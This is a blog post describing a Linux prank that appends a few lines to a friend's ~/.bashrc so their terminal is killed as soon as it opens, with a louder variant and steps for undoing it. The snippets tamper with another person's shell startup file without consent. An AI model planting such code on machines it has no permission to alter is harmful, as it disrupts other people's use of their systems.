linux prank

Annoying your friend with Shell (not sea shell)

Trick

I was playing around with my friends a little and came up with this super annoying prank. It is potentially hazardous to leave your machine unlocked in a public place, if you find that your friend has violated this condition, its time to play a small prank on him/her.

What we will try to do is kill his/her terminal as soon as it is opened. Trust me this can be super frustrating for the victim.

Simply open ~/.bashrc (if it is not there then make one) and paste the following lines of code in it

a=`ps -eaf | grep terminal | cut -f 3 -d ” ” | head -n 1`
kill $a

Tada !! you are done. Next time when your friend tries to open his/her terminal, well they cannot it will just shut down 🙂

Explaination

The script is very simple and deserves only a single line of explanation. Find the process named terminal, get its pid and then kill it. The reason why I do a head -n 1 is because ps will output 2 processes containing the keyword terminal. One of them will belong to grep (The second one). So we chose the first one.

Oh Lord make it stop

If you have fallen a victim to this prank, switch to tty1 (try pressing crtl+alt+f1), login, open the ~/.bashrc file and just delete the 2 lines mentioned above. Be sure to logout.

This did not work

Your victim is smarter than you. His default shell is not bash or his gtk window is not named terminal. Figure it out yourself.

I feel more adventurous 

Every recipe can be spiced up. Try the one below

a=`ps -eaf | grep terminal | cut -f 3 -d ” ” | head -n 1`
echo “I will not work today. I am going to sleep !!”
# If you are not sure if beep is installed on your friends machine, leave the next line out
beep -f 800 -l 500
sleep 2
kill $a

Have fun, you can maybe check the man page of those commands and see if there are other more innovative ways of playing with the script.

A prank is only fun as long as you don’t cross the line 🙂